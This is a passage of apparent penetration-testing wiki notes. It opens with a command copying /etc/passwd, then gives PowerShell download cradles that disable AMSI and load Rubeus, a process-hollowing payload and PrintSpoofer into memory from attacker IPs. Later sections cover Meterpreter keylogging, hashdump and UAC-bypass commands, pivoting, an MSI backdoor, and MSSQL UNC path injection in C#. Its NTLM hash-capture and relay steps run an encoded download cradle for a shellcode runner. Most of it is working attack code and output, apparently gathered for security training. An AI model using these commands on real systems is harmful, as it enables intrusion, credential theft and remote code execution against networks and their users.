* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 rolePublic = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (rolePublic == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of public role&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check sysadmin role&lt;br /&gt;
            String querySysAdminRole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;sysadmin&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querySysAdminRole, con);&lt;br /&gt;
            reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Int32 roleSysAdmin = Int32.Parse(reader[0].ToString());&lt;br /&gt;
            if (roleSysAdmin == 1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;User is NOT a member of sysadmin&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== UNC Path Injection ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Attack Premise&#039;&#039;&#039;: Capture the hash of the user account under which the SQL server runs by making it connect to an SMB share.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# xp_dirtree SQL Procedure&lt;br /&gt;
#	• Function: Lists all files in a given folder.&lt;br /&gt;
#	• Special Feature: Can accept an SMB share as a target.&lt;br /&gt;
EXEC master..xp_dirtree &amp;quot;\\192.168.119.120\\test&amp;quot;;&lt;br /&gt;
# Responder Tool&lt;br /&gt;
#	• Function: Sets up an SMB share initiating NTLM authentication.&lt;br /&gt;
sudo responder -I tun0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* The code below will authenticate to the SQL server and execute the xp_dirtree procedure. Remember to start &amp;lt;code&amp;gt;responder&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Once the NET-NTLM hash is captured, you can use &amp;lt;code&amp;gt;hashcat&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;hashcat -m 5600 hash.txt dict.txt --force&amp;lt;/code&amp;gt;) or &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; to crack it.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String query = &amp;quot;EXEC master..xp_dirtree \&amp;quot;\\\\192.168.119.120\\\\test\&amp;quot;;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(query, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            con.Close();&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:8ZPa5+qasCAAAAABJRU5ErkJggg==|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Relay the hash ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;&lt;br /&gt;
Achieve code execution on the SQL server OS without needing to crack the captured Net-NTLM hash.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Background&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Net-NTLM hash&#039;&#039;&#039;: While it can&#039;t be used directly in a pass-the-hash attack, it can be relayed to another computer. If the user is a local administrator on the target, this can lead to code execution.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Microsoft&#039;s Security Measure&#039;&#039;&#039;: Since 2008, Microsoft has blocked the ability to relay a Net-NTLM hash back to the origin computer using the same protocol.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;SMB Signing&#039;&#039;&#039;: Relaying Net-NTLM against SMB is only possible if SMB signing is not enabled. By default, it&#039;s enabled only on domain controllers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Procedure&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Enumeration&#039;&#039;&#039;: Identified that the service account associated with the SQL server is used on both dc01 and appsrv01 and has local administrator rights on both.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# First base64 encode the download cradle. This will download and invoke the run.txt. Run.txt is our shellcode runner. CTRL+F run.txt to find the code.&lt;br /&gt;
kali@kali:~$ sudo apt -y install powershell&lt;br /&gt;
kali@kali:~$ pwsh&lt;br /&gt;
PS /home/kali&amp;gt; $text = &amp;quot;(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.txt&#039;) | IEX&amp;quot;&lt;br /&gt;
$bytes = [System.Text.Encoding]::Unicode.GetBytes($text)&lt;br /&gt;
$EncodedText = [Convert]::ToBase64String($bytes)&lt;br /&gt;
$EncodedText&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Launch ntlmrelayx. this command attempts to relay captured NTLM authentication requests to the machine at 192.168.120.6 over SMB (with SMBv2 support). If the relay is successful and the authentication on the target is accepted, the specified base64-encoded PowerShell command will be executed on the target machine.&lt;br /&gt;
# When the xp_dirtree command is run (see code above), it will authenticate to our ntlmrelayx and we will capture the hash as shown above.&lt;br /&gt;
# The -t option specifies the target to which the relayed authentication will be sent.&lt;br /&gt;
sudo impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.120.6 -c &#039;powershell -enc &#039;&lt;br /&gt;
[*] SMBD-Thread-4 (process_request_thread): Received connection from 192.168.229.5, attacking target smb://192.168.229.6&lt;br /&gt;
[*] Authenticating against smb://192.168.229.6 as CORP1/SQLSVC SUCCEED&lt;br /&gt;
[*] SMBD-Thread-6 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-7 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-8 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] SMBD-Thread-9 (process_request_thread): Connection from 192.168.229.5 controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-7.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== Dump hashes using NTLMrelayx.py =====&lt;br /&gt;
&lt;br /&gt;
* You can also get the hashes if the user authenticating have the rights&lt;br /&gt;
&lt;br /&gt;
* Remember to check links also. If you have two MSSQL servers, SQL01 and SQL02 which are linked. Check if you can relay the hash from SQL01 to SQL02 and get the local SAM database for example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
proxychains python3 ntlmrelayx.py --no-http-server -smb2support -t 192.168.1.25                                                1 ⚙&lt;br /&gt;
[proxychains] config file found: /etc/proxychains4.conf&lt;br /&gt;
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4&lt;br /&gt;
[proxychains] DLL init: proxychains-ng 4.16&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Protocol Client LDAPS loaded..&lt;br /&gt;
[*] Protocol Client LDAP loaded..&lt;br /&gt;
[*] Protocol Client HTTPS loaded..&lt;br /&gt;
[*] Protocol Client HTTP loaded..&lt;br /&gt;
[*] Protocol Client MSSQL loaded..&lt;br /&gt;
[*] Protocol Client SMTP loaded..&lt;br /&gt;
[*] Protocol Client IMAPS loaded..&lt;br /&gt;
[*] Protocol Client IMAP loaded..&lt;br /&gt;
[*] Protocol Client RPC loaded..&lt;br /&gt;
[*] Protocol Client SMB loaded..&lt;br /&gt;
[*] Protocol Client DCSYNC loaded..&lt;br /&gt;
[*] Running in relay mode to single host&lt;br /&gt;
[*] Setting up SMB Server&lt;br /&gt;
[*] Setting up WCF Server&lt;br /&gt;
[*] Setting up RAW Server on port 6666&lt;br /&gt;
[...]&lt;br /&gt;
controlled, but there are no more targets left!&lt;br /&gt;
[*] Service RemoteRegistry is in stopped state&lt;br /&gt;
[*] Starting service RemoteRegistry&lt;br /&gt;
